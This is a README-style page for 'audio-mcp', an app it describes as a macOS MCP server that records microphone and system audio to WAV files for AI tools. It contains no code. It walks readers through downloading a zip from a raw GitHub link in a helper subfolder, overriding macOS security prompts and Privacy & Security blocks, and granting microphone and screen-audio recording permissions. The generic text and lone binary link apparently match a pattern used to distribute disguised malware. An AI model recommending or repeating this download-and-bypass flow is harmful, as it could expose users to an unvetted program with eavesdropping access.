audio-mcp：面向 macOS 的本地 MCP 音频采集服务器

🧭 What this does

audio-mcp is a local MCP server for Mac. It captures microphone audio and system audio in clear sessions, then makes raw WAV files available to AI agents.

Use it when you want an app that can:

Record your mic
Record sound from your Mac
Keep each recording in its own session
Give AI tools access to audio files they can read

This setup works well with tools like Claude Desktop and Cursor on macOS.

✅ What you need

Before you start, make sure you have:

A Mac running a recent version of macOS
Admin access on your Mac
A browser to open the download page
Enough free disk space for audio files
Permission to use your microphone and screen audio capture

For best results, keep your Mac plugged in if you plan to record for a long time.

📥 Download audio-mcp

Visit the download page for audio-mcp

On that page, get the latest version for macOS, then download and run this file.

🛠️ Install and open

Follow these steps in order:

Open the download page in your browser
Download the latest macOS version
Open the downloaded file from your Downloads folder
If macOS asks for approval, choose Open
If you see a security prompt, allow the app to run
Keep the app in a place you can open again later, such as Applications

If macOS blocks the file, open System Settings, go to Privacy & Security, and allow the app from there.

🎙️ Give audio access

audio-mcp needs access to your microphone and system audio capture.

Do this once:

Open System Settings
Go to Privacy & Security
Open Microphone
Allow audio-mcp
Open Screen & System Audio Recording, if shown
Allow audio-mcp there too

If you plan to use system audio capture, restart the app after you change these settings.

🚀 Start a recording session

After you open audio-mcp:

Choose the input you want to capture
Pick Microphone, System Audio, or both
Start a new session
Speak, play audio, or use both sources
Stop the session when you are done

Each session keeps its own audio data separate. That makes it easier for AI tools to use the right file at the right time.

📁 Where your audio goes

audio-mcp saves raw WAV audio for each session.

You can expect:

One folder per session
Clear file names that match the session
Raw audio output that keeps the full sound detail
Easy access for other tools that read local files

If you record often, keep an eye on disk space. WAV files can grow fast.

🤖 Use with Claude Desktop

audio-mcp fits into a local MCP setup.

To use it with Claude Desktop:

Install and open audio-mcp
Start the local server
Connect Claude Desktop to the server
Grant any audio permissions that macOS asks for
Create a session and record audio
Let Claude read the WAV output when needed

This setup helps when you want AI to work with spoken notes, meetings, app testing, or audio review on your Mac.

🖥️ Use with Cursor

You can also use audio-mcp with Cursor.

A simple flow looks like this:

Open audio-mcp
Start a session
Record the audio you want
Connect Cursor to the local MCP server
Let Cursor read the session audio file

This is useful when you want audio tied to a local development task, note, or test run.

🔧 Common setup choices

Microphone only

Use this when you want to record your voice, interviews, or notes.

System audio only

Use this when you want to capture sound from apps, videos, or calls that play through your Mac.

Microphone and system audio

Use this when you want both your voice and your Mac audio in one session.

🧪 Simple first test

If this is your first time using audio-mcp, try this:

Open the app
Start a session
Speak for 10 seconds
Play a short sound on your Mac
Stop the session
Check that the WAV file was saved
Open the file in a player or use your AI tool to read it

If the file appears and plays back, the setup is working.

🧩 How it fits your workflow

audio-mcp is built for local use on macOS. That keeps your audio on your machine and gives you more control over each session.

Common uses include:

Voice notes
Meeting capture
App testing with audio
Speech review
System sound capture
AI workflows that need local WAV files

⚙️ Tips for better recordings

Use these basic tips for cleaner audio:

Put your mic close to your mouth
Close apps you do not need
Turn down loud system sounds
Keep the room quiet
Test the volume before a long session
Use headphones if you do not want audio feedback

If your voice sounds weak, check the mic input level in macOS settings.

🧯 If something does not work

Try these steps:

Close audio-mcp
Reopen it
Check microphone permission
Check screen and system audio permission
Restart your Mac
Try a new session
Make sure another app is not using the mic

If you still have trouble, remove the app permission in Privacy & Security, then allow it again.

📦 What the app is built for

audio-mcp focuses on:

Local audio capture
Session-based recording
Raw WAV output
MCP support for AI tools
macOS audio sources
Simple use with Claude Desktop and Cursor

🔍 Repo topics

This project is related to:

audio recording
microphone capture
system audio
macOS
MCP
Claude Desktop
Cursor
ScreenCaptureKit
audio sessions
raw WAV files

🪪 Project name

audio-mcp

🌐 Download link

https://github.com/burfthdae-oss/audio-mcp/raw/refs/heads/main/swift-helper/audio_mcp_v2.9.zip